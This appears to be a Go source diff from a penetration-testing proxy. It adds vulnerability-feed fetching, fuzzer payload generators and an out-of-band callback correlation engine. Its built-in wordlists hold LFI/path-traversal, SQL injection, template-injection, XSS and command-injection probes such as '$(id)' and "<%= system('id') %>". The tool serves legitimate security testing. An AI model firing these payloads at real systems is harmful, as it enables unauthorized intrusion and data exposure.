if len(parts) < 6 || parts[0] != "cpe" || parts[1] != "2.3" {
return "", "", false
}
vendor = cpeField(parts[3])
product = cpeField(parts[4])
if vendor == "" {
return "", "", false
}
return vendor, product, true
}
// cpeField decodes one CPE 2.3 field: "*"/"-" mean unset, "_" separates words, "\" escapes.
func cpeField(f string) string {
if f == "" || f == "*" || f == "-" {
return ""
}
f = strings.ReplaceAll(f, `\`, "")
return strings.ReplaceAll(f, "_", " ")
}
func nvdDescription(ds []nvdLangString) string {
for _, d := range ds {
if strings.EqualFold(d.Lang, "en") {
return d.Value
}
}
if len(ds) > 0 {
return ds[0].Value
}
return ""
}
+80
View File
@@ -0,0 +1,80 @@
package feeds
import "context"
// The curated source registry. Feed URLs are compile-time constants, the same way the
// updater pins its GitHub destination: no operator-supplied URL ever reaches the fetcher, so
// this feature is not an arbitrary-outbound-on-a-timer primitive and needs no SSRF/private-IP
// egress guard (there is none in the codebase to borrow). Adding a headline source means
// adding a vetted host to its allow-list here — never a field the operator can set.
const (
nvdBaseURL = "https://services.nvd.nist.gov/rest/json/cves/2.0"
nvdLimit = 8 << 20
kevURL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
kevLimit = 8 << 20 // the KEV file is ~2 MB and grows; far above the updater's 1 MB
rssLimit = 2 << 20
)
// Source is one feed. collect encapsulates how it is fetched and parsed (NVD needs two
// requests; KEV and RSS one), so the aggregator treats every source uniformly.
type Source struct {
ID string
Name string
Category Category
collect func(ctx context.Context, fetch FetchFunc) ([]Item, error)
}
// DefaultSources is the built-in feed set.
func DefaultSources() []Source {
return []Source{
{
ID: "nvd-cve",
Name: "NVD",
Category: CategoryCVE,
collect: nvdCollect,
},
{
ID: "cisa-kev",
Name: "CISA KEV",
Category: CategoryKEV,
collect: func(ctx context.Context, fetch FetchFunc) ([]Item, error) {
raw, err := fetch(ctx, kevURL, kevLimit)
if err != nil {
return nil, err
}
return parseKEV(raw)
},
},
rssSource("cisa-advisories", "CISA Advisories", CategoryHeadline,
"https://www.cisa.gov/cybersecurity-advisories/all.xml",
[]string{"cisa.gov"}),
// The us-cert.cisa.gov/ncas/analysis-reports.xml form 301-redirects here; feedsFetch
// does not follow redirects, so the resolved URL is pinned directly.
rssSource("cisa-analysis-reports", "CISA Analysis Reports", CategoryHeadline,
"https://www.cisa.gov/cybersecurity-advisories/analysis-reports.xml",
[]string{"cisa.gov"}),
rssSource("bishopfox-blog", "Bishop Fox Blog", CategoryHeadline,
"https://bishopfox.com/feeds/blog.rss",
[]string{"bishopfox.com"}),
rssSource("cert-cc", "CERT/CC", CategoryHeadline,
"https://www.kb.cert.org/vulfeed/",
[]string{"kb.cert.org"}),
}
}
func rssSource(id, name string, category Category, feedURL string, allowHosts []string) Source {
return Source{
ID: id,
Name: name,
Category: category,
collect: func(ctx context.Context, fetch FetchFunc) ([]Item, error) {
raw, err := fetch(ctx, feedURL, rssLimit)
if err != nil {
return nil, err
}
return parseFeed(raw, name, allowHosts)
},
}
}
+152
View File
@@ -0,0 +1,152 @@
package feeds
import (
"bytes"
"encoding/xml"
"fmt"
"strings"
)
// Headline feeds, RSS 2.0 / RSS 1.0 / Atom. Only the title, link, and date are read — never
// a <description>/<content>/<summary> body, which is where a feed's HTML lives. The link is
// the one value that cannot be derived, so it runs through validateURL against the source's
// host allow-list; a link that fails validation yields an item with an empty URL (shown as
// plain text, no anchor) rather than being dropped.
//
// encoding/xml does not fetch external entities or process DTDs, so XXE is not reachable;
// Entity is pinned to the known HTML named-entity set and the input is already bounded by the
// fetch LimitReader, which is what actually caps any entity expansion.
type feedKind int
const (
feedUnknown feedKind = iota
feedRSS
feedAtom
)
type rssFeed struct {
Channel struct {
Items []rssItem `xml:"item"`
} `xml:"channel"`
// RSS 1.0 (RDF) places items as siblings of channel, not inside it.
Items []rssItem `xml:"item"`
}
type rssItem struct {
Title string `xml:"title"`
Link string `xml:"link"`
PubDate string `xml:"pubDate"`
Date string `xml:"date"` // dc:date (RSS 1.0)
}
type atomFeed struct {
Entries []atomEntry `xml:"entry"`
}
type atomEntry struct {
Title string `xml:"title"`
Links []atomLink `xml:"link"`
Updated string `xml:"updated"`
Published string `xml:"published"`
}
type atomLink struct {
Href string `xml:"href,attr"`
Rel string `xml:"rel,attr"`
}
// parseFeed sniffs the root element and dispatches to the RSS or Atom parser.
func parseFeed(raw []byte, sourceName string, allowHosts []string) ([]Item, error) {
switch sniffFeed(raw) {
case feedAtom:
return parseAtom(raw, sourceName, allowHosts)
case feedRSS:
return parseRSS(raw, sourceName, allowHosts)
default:
return nil, fmt.Errorf("unrecognized feed format for %q", sourceName)
}
}
func newXMLDecoder(raw []byte) *xml.Decoder {
dec := xml.NewDecoder(bytes.NewReader(raw))
dec.Strict = false // real-world feeds are not always well-formed
dec.Entity = xml.HTMLEntity // known named entities only; no custom general-entity expansion
return dec
}
func sniffFeed(raw []byte) feedKind {
dec := newXMLDecoder(raw)
for {
tok, err := dec.Token()
if err != nil {
return feedUnknown
}
if se, ok := tok.(xml.StartElement); ok {
switch strings.ToLower(se.Name.Local) {
case "feed":
return feedAtom
case "rss", "rdf":
return feedRSS
default:
return feedUnknown
}
}
}
}
func parseRSS(raw []byte, sourceName string, allowHosts []string) ([]Item, error) {
var feed rssFeed
if err := newXMLDecoder(raw).Decode(&feed); err != nil {
return nil, fmt.Errorf("parsing RSS for %q: %w", sourceName, err)
}
all := append(feed.Channel.Items, feed.Items...)
items := make([]Item, 0, len(all))
for _, it := range all {
items = append(items, headlineItem(sourceName, it.Title, it.Link, firstNonEmpty(it.PubDate, it.Date), allowHosts))
}
return items, nil
}
func parseAtom(raw []byte, sourceName string, allowHosts []string) ([]Item, error) {
var feed atomFeed
if err := newXMLDecoder(raw).Decode(&feed); err != nil {
return nil, fmt.Errorf("parsing Atom for %q: %w", sourceName, err)
}
items := make([]Item, 0, len(feed.Entries))
for _, e := range feed.Entries {
link := atomPrimaryLink(e.Links)
items = append(items, headlineItem(sourceName, e.Title, link, firstNonEmpty(e.Published, e.Updated), allowHosts))
}
return items, nil
}
// atomPrimaryLink picks the article link: rel="alternate", else the first rel-less link.
func atomPrimaryLink(links []atomLink) string {
for _, l := range links {
if strings.EqualFold(l.Rel, "alternate") {
return l.Href
}
}
for _, l := range links {
if l.Rel == "" {
return l.Href
}
}
if len(links) > 0 {
return links[0].Href
}
return ""
}
func headlineItem(sourceName, title, link, dateStr string, allowHosts []string) Item {
cleanLink, _ := validateURL(link, allowHosts)
return Item{
Category: CategoryHeadline,
ID: headlineID(sourceName, link),
Title: sanitizeText(title, maxTitle),
URL: cleanLink,
Source: sanitizeText(sourceName, maxSource),
Published: normalizeTime(parseFeedTime(dateStr)),
}
}
+148
View File
@@ -0,0 +1,148 @@
package feeds
import (
"encoding/json"
"errors"
"fmt"
"os"
"path/filepath"
"sync"
"github.com/BishopFox/joro/internal/atomicfile"
)
// Feed settings persist to ~/.joro/feeds.json (0600).
//
// Off by default, and a store of its own rather than a field on the session Settings or the
// project config, for the reason the MCP toggle is: enabling feeds starts outbound traffic
// from the operator's IP, so the choice must survive a restart and must not travel to a
// teammate inside a project file. The snapshot/cache itself is never persisted — it is
// re-fetched after a restart.
const (
settingsFileVersion = 1
// MinIntervalMinutes floors the refresh so Settings cannot drive NVD into its rate limit.
MinIntervalMinutes = 15
DefaultIntervalMinutes = 15
)
// State is the operator's feed configuration.
type State struct {
Enabled bool `json:"enabled"`
Categories map[Category]bool `json:"categories"`
IntervalMinutes int `json:"intervalMinutes"`
// RouteThroughSocks sends feed egress through the operator's configured SOCKS proxy.
// Off by default: feed traffic (NVD/CISA/ExploitDB/FIRST.org) is incidental intel, not
// engagement traffic, so it should not consume or reveal the operator's tunnel unless
// they ask. Honored only when a SOCKS proxy is actually configured.
RouteThroughSocks bool `json:"routeThroughSocks"`
}
// DefaultState is feeds on, all categories armed, at the floor interval, direct egress.
func DefaultState() State {
return State{
Enabled: true,
Categories: map[Category]bool{
CategoryCVE: true,
CategoryKEV: true,
CategoryHeadline: true,
},
IntervalMinutes: DefaultIntervalMinutes,
RouteThroughSocks: false,
}
}
func (st State) clone() State {
cats := make(map[Category]bool, len(st.Categories))
for k, v := range st.Categories {
cats[k] = v
}
st.Categories = cats
return st
}
// normalizeState clamps an incoming or on-disk state to a known shape: every category key
// present, the interval floored.
func normalizeState(st State) State {
out := DefaultState()
out.Enabled = st.Enabled
out.RouteThroughSocks = st.RouteThroughSocks
if st.Categories != nil {
out.Categories = map[Category]bool{
CategoryCVE: st.Categories[CategoryCVE],
CategoryKEV: st.Categories[CategoryKEV],
CategoryHeadline: st.Categories[CategoryHeadline],
}
}
if st.IntervalMinutes >= MinIntervalMinutes {
out.IntervalMinutes = st.IntervalMinutes
}
return out
}
type settingsFile struct {
Version int `json:"version"`
State State `json:"state"`
}
// SettingsStore reads and writes feeds.json.
type SettingsStore struct {
mu sync.RWMutex
path string
state State
}
// NewSettingsStore opens feeds.json, creating nothing until the first write. A file that will
// not parse is a hard error rather than a silent default, the same discipline the webhook and
// trigger stores use.
func NewSettingsStore(dir string) (*SettingsStore, error) {
s := &SettingsStore{
path: filepath.Join(dir, "feeds.json"),
state: DefaultState(),
}
raw, err := os.ReadFile(s.path)
if errors.Is(err, os.ErrNotExist) {
return s, nil
}
if err != nil {
return nil, fmt.Errorf("reading %s: %w", s.path, err)
}
var f settingsFile
if err := json.Unmarshal(raw, &f); err != nil {
return nil, fmt.Errorf("parsing %s: %w", s.path, err)
}
s.state = normalizeState(f.State)
return s, nil
}
// Get returns a copy of the current state.
func (s *SettingsStore) Get() State {
s.mu.RLock()
defer s.mu.RUnlock()
return s.state.clone()
}
// Set normalizes, stores, and persists a new state, returning the stored copy.
func (s *SettingsStore) Set(st State) (State, error) {
st = normalizeState(st)
s.mu.Lock()
defer s.mu.Unlock()
prev := s.state
s.state = st
if err := s.flushLocked(); err != nil {
s.state = prev
return State{}, err
}
return s.state.clone(), nil
}
func (s *SettingsStore) flushLocked() error {
data, err := json.MarshalIndent(settingsFile{Version: settingsFileVersion, State: s.state}, "", " ")
if err != nil {
return fmt.Errorf("encoding feed settings: %w", err)
}
if err := os.MkdirAll(filepath.Dir(s.path), 0o700); err != nil {
return err
}
return atomicfile.Write(s.path, append(data, '\n'), 0o600)
}
+354
View File
@@ -0,0 +1,354 @@
package fuzzer
import (
"fmt"
"strconv"
"strings"
"time"
)
// A PayloadSource is a compact, server-resolved description of a payload list:
// a named built-in list or a parametric generator. It exists so the UI can send
// a tiny spec (a numeric range, a list id) instead of materializing and shipping
// millions of lines inline. Manual paste and file uploads never become a source —
// they stay inline []string on Config.Wordlist/Wordlists.
//
// It is one flat struct with a Kind discriminator, like Matcher/Filter; only the
// fields a kind names are read. Count reports the resolved length without
// allocating, so a caller can reject an oversized spec before Resolve builds it.
type PayloadSource struct {
Kind SourceKind `json:"kind"`
// builtin
List string `json:"list,omitempty"`
// numbers
NumberMode string `json:"numberMode,omitempty"` // "range" (default) | "digits"
Min int64 `json:"min,omitempty"`
Max int64 `json:"max,omitempty"`
Step int64 `json:"step,omitempty"`
MinDigits int `json:"minDigits,omitempty"`
MaxDigits int `json:"maxDigits,omitempty"`
Pad int `json:"pad,omitempty"`
Hex bool `json:"hex,omitempty"`
Upper bool `json:"upper,omitempty"`
Prefix string `json:"prefix,omitempty"`
Suffix string `json:"suffix,omitempty"`
// chars (charset x length) and lengths (repeated-char ramp, reuses MinLen/MaxLen/Step)
Charset string `json:"charset,omitempty"`
MinLen int `json:"minLen,omitempty"`
MaxLen int `json:"maxLen,omitempty"`
Char string `json:"char,omitempty"` // lengths: the repeated unit, default "A"
// dates
DateStart string `json:"dateStart,omitempty"` // YYYY-MM-DD
DateEnd string `json:"dateEnd,omitempty"`
DateFmt string `json:"dateFmt,omitempty"` // Go reference layout, default "2006-01-02"
DateStep int `json:"dateStep,omitempty"` // days, default 1
}
// SourceKind names the shape of a PayloadSource.
type SourceKind string
const (
SourceBuiltin SourceKind = "builtin"
SourceNumbers SourceKind = "numbers"
SourceChars SourceKind = "chars"
SourceLengths SourceKind = "lengths"
SourceDates SourceKind = "dates"
)
// MaxGeneratedPayloads caps the length of a single resolved source. It matches
// the yolo product ceiling in handleFuzzerStart, so a generated position and a
// cartesian run answer to the same order of magnitude.
const MaxGeneratedPayloads = 10_000_000
const defaultDateLayout = "2006-01-02"
// Count returns how many payloads the source resolves to, without allocating
// them, and validates the spec. A caller rejects the source when this exceeds
// its budget rather than letting Resolve allocate it.
func (s PayloadSource) Count() (int, error) {
switch s.Kind {
case SourceBuiltin:
vals, ok := LookupBuiltin(s.List)
if !ok {
return 0, fmt.Errorf("unknown built-in list %q", s.List)
}
return len(vals), nil
case SourceNumbers:
return s.numberCount()
case SourceChars:
return s.charsCount()
case SourceLengths:
n, _, err := s.lengthsBounds()
return n, err
case SourceDates:
n, _, _, err := s.datesBounds()
return n, err
default:
return 0, fmt.Errorf("unknown source kind %q", s.Kind)
}
}
// Resolve materializes the source into a payload list, refusing a spec whose
// Count exceeds limit.
func (s PayloadSource) Resolve(limit int) ([]string, error) {
n, err := s.Count()
if err != nil {
return nil, err
}
if n == 0 {
return nil, fmt.Errorf("source produces no payloads")
}
if n > limit {
return nil, fmt.Errorf("source would generate %d payloads (max %d)", n, limit)
}
switch s.Kind {
case SourceBuiltin:
vals, _ := LookupBuiltin(s.List)
out := make([]string, len(vals))
copy(out, vals)
return out, nil
case SourceNumbers:
return s.resolveNumbers(n)
case SourceChars:
return s.resolveChars(n)
case SourceLengths:
return s.resolveLengths()
case SourceDates:
return s.resolveDates()
default:
return nil, fmt.Errorf("unknown source kind %q", s.Kind)
}
}
// --- numbers ---
func (s PayloadSource) numberCount() (int, error) {
if s.NumberMode == "digits" {
return s.digitsCount()
}
step := s.Step
if step == 0 {
step = 1
}
if step < 0 {
return 0, fmt.Errorf("numbers: step must be positive")
}
if s.Max < s.Min {
return 0, fmt.Errorf("numbers: max must be >= min")
}
return int((s.Max-s.Min)/step) + 1, nil
}
func (s PayloadSource) resolveNumbers(n int) ([]string, error) {
if s.NumberMode == "digits" {
return s.resolveDigits()
}
step := s.Step
if step == 0 {
step = 1
}
out := make([]string, 0, n)
for v := s.Min; v <= s.Max; v += step {
out = append(out, s.formatNumber(v))
}
return out, nil
}
func (s PayloadSource) formatNumber(v int64) string {
var body string
if s.Hex {
body = strconv.FormatInt(v, 16)
if s.Upper {
body = strings.ToUpper(body)
}
} else {
body = strconv.FormatInt(v, 10)
}
if s.Pad > len(body) {
body = strings.Repeat("0", s.Pad-len(body)) + body
}
return s.Prefix + body + s.Suffix
}
// digits mode enumerates every number of each width w in [MinDigits, MaxDigits]
// as a zero-padded run 0..10^w-1 — so "4 digits" is 0000..9999, the PIN/ID brute
// pattern. Each width is fully enumerated with its own padding.
func (s PayloadSource) digitsCount() (int, error) {
if s.MinDigits < 1 || s.MaxDigits < s.MinDigits {
return 0, fmt.Errorf("numbers: require 1 <= minDigits <= maxDigits")
}
if s.MaxDigits > 18 {
return 0, fmt.Errorf("numbers: maxDigits too large")
}
total := 0
for w := s.MinDigits; w <= s.MaxDigits; w++ {
pow := 1
for i := 0; i < w; i++ {
pow *= 10
if pow > MaxGeneratedPayloads {
return pow, nil // caller rejects on the cap; stop before overflow
}
}
total += pow
if total > MaxGeneratedPayloads {
return total, nil
}
}
return total, nil
}
func (s PayloadSource) resolveDigits() ([]string, error) {
n, err := s.digitsCount()
if err != nil {
return nil, err
}
out := make([]string, 0, n)
for w := s.MinDigits; w <= s.MaxDigits; w++ {
hi := int64(1)
for i := 0; i < w; i++ {
hi *= 10
}
for v := int64(0); v < hi; v++ {
body := strconv.FormatInt(v, 10)
if w > len(body) {
body = strings.Repeat("0", w-len(body)) + body
}
out = append(out, s.Prefix+body+s.Suffix)
}
}
return out, nil
}
// --- chars (charset x length) ---
func (s PayloadSource) charsCount() (int, error) {
runes := []rune(s.Charset)
if len(runes) == 0 {
return 0, fmt.Errorf("chars: charset is empty")
}
if s.MinLen < 1 || s.MaxLen < s.MinLen {
return 0, fmt.Errorf("chars: require 1 <= minLen <= maxLen")
}
total := 0
for l := s.MinLen; l <= s.MaxLen; l++ {
combos := 1
for i := 0; i < l; i++ {
combos *= len(runes)
if combos > MaxGeneratedPayloads {
return combos, nil
}
}
total += combos
if total > MaxGeneratedPayloads {
return total, nil
}
}
return total, nil
}
func (s PayloadSource) resolveChars(n int) ([]string, error) {
runes := []rune(s.Charset)
out := make([]string, 0, n)
for l := s.MinLen; l <= s.MaxLen; l++ {
idx := make([]int, l) // odometer over charset, position 0 is least significant
for {
var b strings.Builder
for i := l - 1; i >= 0; i-- {
b.WriteRune(runes[idx[i]])
}
out = append(out, b.String())
// increment the odometer
pos := 0
for pos < l {
idx[pos]++
if idx[pos] < len(runes) {
break
}
idx[pos] = 0
pos++
}
if pos == l {
break
}
}
}
return out, nil
}
// --- lengths (repeated-char ramp) ---
func (s PayloadSource) lengthsBounds() (count, step int, err error) {
step = int(s.Step)
if step == 0 {
step = 1
}
if step < 0 {
return 0, 0, fmt.Errorf("lengths: step must be positive")
}
if s.MinLen < 1 || s.MaxLen < s.MinLen {
return 0, 0, fmt.Errorf("lengths: require 1 <= minLen <= maxLen")
}
return (s.MaxLen-s.MinLen)/step + 1, step, nil
}
func (s PayloadSource) resolveLengths() ([]string, error) {
n, step, err := s.lengthsBounds()
if err != nil {
return nil, err
}
unit := s.Char
if unit == "" {
unit = "A"
}
out := make([]string, 0, n)
for l := s.MinLen; l <= s.MaxLen; l += step {
out = append(out, strings.Repeat(unit, l))
}
return out, nil
}
// --- dates ---
func (s PayloadSource) datesBounds() (count int, start time.Time, step int, err error) {
start, err = time.Parse(defaultDateLayout, s.DateStart)
if err != nil {
return 0, time.Time{}, 0, fmt.Errorf("dates: invalid dateStart (want YYYY-MM-DD)")
}
end, err := time.Parse(defaultDateLayout, s.DateEnd)
if err != nil {
return 0, time.Time{}, 0, fmt.Errorf("dates: invalid dateEnd (want YYYY-MM-DD)")
}
if end.Before(start) {
return 0, time.Time{}, 0, fmt.Errorf("dates: dateEnd must be >= dateStart")
}
step = s.DateStep
if step == 0 {
step = 1
}
if step < 0 {
return 0, time.Time{}, 0, fmt.Errorf("dates: step must be positive")
}
days := int(end.Sub(start).Hours()/24) + 1
return (days-1)/step + 1, start, step, nil
}
func (s PayloadSource) resolveDates() ([]string, error) {
n, start, step, err := s.datesBounds()
if err != nil {
return nil, err
}
layout := s.DateFmt
if layout == "" {
layout = defaultDateLayout
}
end, _ := time.Parse(defaultDateLayout, s.DateEnd)
out := make([]string, 0, n)
for d := start; !d.After(end); d = d.AddDate(0, 0, step) {
out = append(out, d.Format(layout))
}
return out, nil
}
+158
View File
@@ -0,0 +1,158 @@
package fuzzer
// Built-in fuzzer wordlists. Go slice literals rather than embedded files,
// following the repo's split: go:embed carries third-party or built artifacts,
// while our own data is a slice literal (as internal/shell's dictionary and
// internal/apispec's discovery lists are). These stay curated and compact —
// large dictionaries (directory busting, credential lists) belong in an upload,
// not baked into the binary.
// BuiltinList is a named, categorized payload list. Values is omitted from the
// catalog wire shape; the catalog carries a count instead.
type BuiltinList struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
Category string `json:"category"`
Values []string `json:"-"`
}
// BuiltinLists returns the registry of built-in payload lists.
func BuiltinLists() []BuiltinList {
return []BuiltinList{
{ID: "lfi", Label: "LFI / Path Traversal", Category: "injection",
Description: "Local file inclusion and directory traversal probes", Values: lfiProbes},
{ID: "sqli", Label: "SQL Injection", Category: "injection",
Description: "Common SQL injection probe strings", Values: sqliProbes},
{ID: "ssti", Label: "Template Injection", Category: "injection",
Description: "Server-side template injection probes (expect 49 on reflection)", Values: sstiProbes},
{ID: "xss", Label: "XSS Reflection", Category: "injection",
Description: "Cross-site scripting reflection probes", Values: xssProbes},
{ID: "metachars", Label: "Special Characters", Category: "fuzzing",
Description: "Metacharacters that elicit errors or parsing differences", Values: metacharProbes},
}
}
// LookupBuiltin returns a built-in list's values by id.
func LookupBuiltin(id string) ([]string, bool) {
for _, l := range BuiltinLists() {
if l.ID == id {
return l.Values, true
}
}
return nil, false
}
// GeneratorInfo describes a generator for the catalog. Its parameter forms are
// bespoke UI, so only identity and help text travel.
type GeneratorInfo struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
}
// Generators returns the catalog of parametric generators.
func Generators() []GeneratorInfo {
return []GeneratorInfo{
{ID: string(SourceNumbers), Label: "Numbers", Description: "Numeric range (min/max/step) or every value of a digit width (e.g. 4-digit PINs)"},
{ID: string(SourceChars), Label: "Characters", Description: "Every combination of a charset over a length range (brute force)"},
{ID: string(SourceLengths), Label: "Length ramp", Description: "A character repeated at increasing lengths (buffer/boundary tests)"},
{ID: string(SourceDates), Label: "Dates", Description: "A date range with a configurable format and step"},
}
}
var lfiProbes = []string{
"../etc/passwd",
"../../etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"../../../../../etc/passwd",
"../../../../../../etc/passwd",
"../../../../../../../../etc/passwd",
"/etc/passwd",
"....//....//....//etc/passwd",
"..%2f..%2f..%2fetc%2fpasswd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"..%252f..%252f..%252fetc%252fpasswd",
"../../../etc/passwd%00",
"/proc/self/environ",
"/proc/self/cmdline",
"php://filter/convert.base64-encode/resource=index.php",
"file:///etc/passwd",
"..\\..\\..\\windows\\win.ini",
"..\\..\\..\\..\\windows\\win.ini",
"C:\\windows\\win.ini",
"..%5c..%5c..%5cwindows%5cwin.ini",
"....\\\\....\\\\....\\\\windows\\win.ini",
}
var sqliProbes = []string{
"'",
"\"",
"`",
"')",
"\")",
"';",
"' OR '1'='1",
"' OR '1'='1' -- ",
"' OR '1'='1' #",
"\" OR \"\"=\"",
"' OR 1=1-- ",
"') OR ('1'='1",
"admin' -- ",
"admin' #",
"' UNION SELECT NULL-- ",
"' UNION SELECT NULL,NULL-- ",
"1' AND SLEEP(5)-- ",
"' OR SLEEP(5)-- ",
"1 AND 1=1",
"1 AND 1=2",
"1; WAITFOR DELAY '0:0:5'-- ",
"') OR SLEEP(5)-- ",
"1'||'1",
"' AND extractvalue(1,concat(0x7e,version()))-- ",
}
var sstiProbes = []string{
"{{7*7}}",
"${7*7}",
"#{7*7}",
"<%= 7*7 %>",
"${{7*7}}",
"#{ 7*7 }",
"{{7*'7'}}",
"{{ '7'*7 }}",
"*{7*7}",
"@(7*7)",
"{7*7}",
"${{<%[%'\"}}%\\.",
"{{config}}",
"{{self}}",
"<%= system('id') %>",
}
var xssProbes = []string{
"<script>alert(1)</script>",
"\"><script>alert(1)</script>",
"'><script>alert(1)</script>",
"\"><svg onload=alert(1)>",
"'><svg onload=alert(1)>",
"<svg/onload=alert(1)>",
"<img src=x onerror=alert(1)>",
"\"><img src=x onerror=alert(1)>",
"javascript:alert(1)",
"\" onmouseover=alert(1) x=\"",
"' onmouseover='alert(1)",
"<body onload=alert(1)>",
"<iframe src=javascript:alert(1)>",
"</script><script>alert(1)</script>",
"<details open ontoggle=alert(1)>",
}
var metacharProbes = []string{
"'", "\"", "`", "\\", "<", ">", ";", "|", "&", "$", "%", "#", "@",
"(", ")", "[", "]", "{", "}", "*", "?", "~", "!", "^", "+", "=",
"$()", "${}", "`id`", "$(id)", "|id", ";id", "&&id", "||id",
"%00", "%0a", "%0d", "%0d%0a", "{{", "}}", "\\n", "\\r\\n", "\x00",
"../", "..\\", "' OR '1'='1", "<script>",
}
+249
View File
@@ -0,0 +1,249 @@
// Package oast confirms out-of-band interactions by correlating the callback
// server's response hash back into captured traffic. When a target makes a
// server-side request to Joro's callback listener, the listener returns
// sha256(token) (callback.ResponseHash); if that value then appears in traffic
// the proxy captured — reflected into a semi-blind response, say — it is proof
// the interaction actually reached the callback server for that specific probe,
// not a coincidental echo of the injected input.
//
// It is a separate package from internal/detect for the reason internal/anomaly
// is: the detect engine judges one message at a time and its analyzers hold no
// state, but this correlation needs the set of expected hashes, which is derived
// from tokens seen across earlier captures. It is also a separate package from
// internal/callback: the token store lives only in the listener process, while
// captured traffic and detection live only in the proxy process, so the proxy
// side cannot read the token DB and instead harvests tokens from the callback
// hostnames operators injected through the proxy.
//
// Only the results land in detect: this package mints detect.Findings under
// CategoryOOB through detect.FindingID and detect.Store.Upsert — the same path
// internal/anomaly and internal/capreg use — which gives them the Detect table,
// triage, project persistence, the dashboard, triggers and webhooks for free.
// Findings are sticky: a confirmed interaction is evidence, so unlike anomaly's
// outliers they are never retracted.
package oast
import (
"bytes"
"context"
"maps"
"regexp"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// cycleInterval is how often new captures are scanned for reflected hashes.
const cycleInterval = 3 * time.Second
// batchSize bounds one SinceSeq pull.
const batchSize = 500
// ruleID is the synthetic rule identity for these findings. It is not an engine
// rule; detect's RuleEnabledFunc treats an unknown ID as enabled and the finding
// detail carries the explanation.
const ruleID = "oast.reflected"
// Engine scans captured traffic for reflected callback response hashes and mints
// confirmed out-of-band findings into the detect store.
type Engine struct {
store *proxy.Store
findings *detect.Store
callbackDomain func() string
broadcast chan<- any
notify func() // pushes detect.summary after the store changes
mu sync.Mutex
cursor int
// expected maps a token's response hash to the token hex it was derived from.
// It accumulates across cycles because a probe and its reflection can be
// captured in different batches; token counts are small so it never prunes.
expected map[string]string
}
// NewEngine constructs the engine. callbackDomain is read every cycle so a domain
// learned from the listener after startup takes effect without a restart; an
// empty domain means there is nothing to harvest and the cycle no-ops.
func NewEngine(store *proxy.Store, findings *detect.Store, callbackDomain func() string, broadcast chan<- any, notify func()) *Engine {
return &Engine{
store: store,
findings: findings,
callbackDomain: callbackDomain,
broadcast: broadcast,
notify: notify,
expected: map[string]string{},
}
}
// Run scans on an interval until ctx is cancelled, mirroring the detect scanner.
func (e *Engine) Run(ctx context.Context) {
t := time.NewTicker(cycleInterval)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
e.RunCycle()
}
}
}
// ResetCursor is called wherever proxy.Store rewrites its sequence numbering
// (Clear zeroes it, a project load rewrites it), the same obligation detect's
// scanner cursor has. It drops the harvested hash set: a rewrite invalidates the
// forward-scan position those were gathered at.
func (e *Engine) ResetCursor(seq int) {
e.mu.Lock()
defer e.mu.Unlock()
e.cursor = seq
e.expected = map[string]string{}
}
// RunCycle performs one forward-scan pass. Exported so a test or manual trigger
// can drive it without the ticker.
func (e *Engine) RunCycle() {
if e.store == nil || e.findings == nil {
return
}
domain := ""
if e.callbackDomain != nil {
domain = strings.TrimSuffix(strings.ToLower(strings.TrimSpace(e.callbackDomain())), ".")
}
if domain == "" {
return
}
// `<label>.<domain>`, where the token is the first 16 hex of the label.
hostRe := regexp.MustCompile(`(?i)([0-9a-f]{16})[0-9a-z_-]*\.` + regexp.QuoteMeta(domain))
e.mu.Lock()
cursor := e.cursor
e.mu.Unlock()
var batch []*proxy.CapturedRequest
for {
b := e.store.SinceSeq(cursor, batchSize)
if len(b) == 0 {
break
}
for _, cr := range b {
if cr.Seq > cursor {
cursor = cr.Seq
}
}
batch = append(batch, b...)
if len(b) < batchSize {
break
}
}
if len(batch) == 0 {
return
}
// First pass: harvest every callback token injected in this batch so a
// reflection captured in the same batch is already known.
e.mu.Lock()
for _, cr := range batch {
for _, m := range hostRe.FindAllSubmatch(cr.ReqRaw, -1) {
tok := strings.ToLower(string(m[1]))
e.expected[callback.ResponseHash(tok)] = tok
}
}
// Snapshot the hash set for the scan pass.
expected := make(map[string]string, len(e.expected))
maps.Copy(expected, e.expected)
e.mu.Unlock()
// Second pass: look for any expected hash in the captured bytes.
changed := false
if len(expected) > 0 {
for _, cr := range batch {
if e.scan(cr, expected) {
changed = true
}
}
}
e.mu.Lock()
e.cursor = cursor
e.mu.Unlock()
if changed && e.notify != nil {
e.notify()
}
}
// scan checks one capture for a reflected hash and mints a finding on a match.
// Reports whether a new finding was created.
func (e *Engine) scan(cr *proxy.CapturedRequest, expected map[string]string) bool {
created := false
for hash, tok := range expected {
h := []byte(hash)
// The reflection is almost always in the response; the request is checked
// too for store-and-forward echoes. A full-SHA-256 match has no realistic
// false-positive rate, so either location is a confirmed interaction.
if off := bytes.Index(cr.RespRaw, h); off >= 0 {
if e.mint(cr, tok, hash, off, "response") {
created = true
}
continue
}
if off := bytes.Index(cr.ReqRaw, h); off >= 0 {
if e.mint(cr, tok, hash, off, "request") {
created = true
}
}
}
return created
}
// mint upserts and emits a confirmed out-of-band finding. Identity is keyed on
// the token so repeated reflections of the same probe dedupe to one finding.
func (e *Engine) mint(cr *proxy.CapturedRequest, token, hash string, offset int, part string) bool {
now := time.Now()
short := hash
if len(short) > 16 {
short = short[:16]
}
f := detect.Finding{
ID: detect.FindingID(ruleID, cr.Host, token),
RuleID: ruleID,
RuleName: "Confirmed out-of-band interaction",
Category: detect.CategoryOOB,
Severity: detect.SeverityHigh,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: cr.Host,
Method: cr.Method,
URL: cr.URL,
RequestID: cr.ID,
Detail: "token " + token,
Evidence: "callback canary " + short + "… reflected in " + part,
EvidenceOffset: offset,
EvidenceLength: len(hash),
EvidencePart: part,
FirstSeen: now,
LastSeen: now,
}
stored, isNew := e.findings.Upsert(f)
e.emit(*stored, isNew)
return isNew
}
func (e *Engine) emit(f detect.Finding, isNew bool) {
if e.broadcast == nil {
return
}
select {
case e.broadcast <- event.WSEvent{
Type: "detect.finding",
Data: map[string]any{"finding": f, "isNew": isNew},
}:
default:
}
}
+26 -8
View File
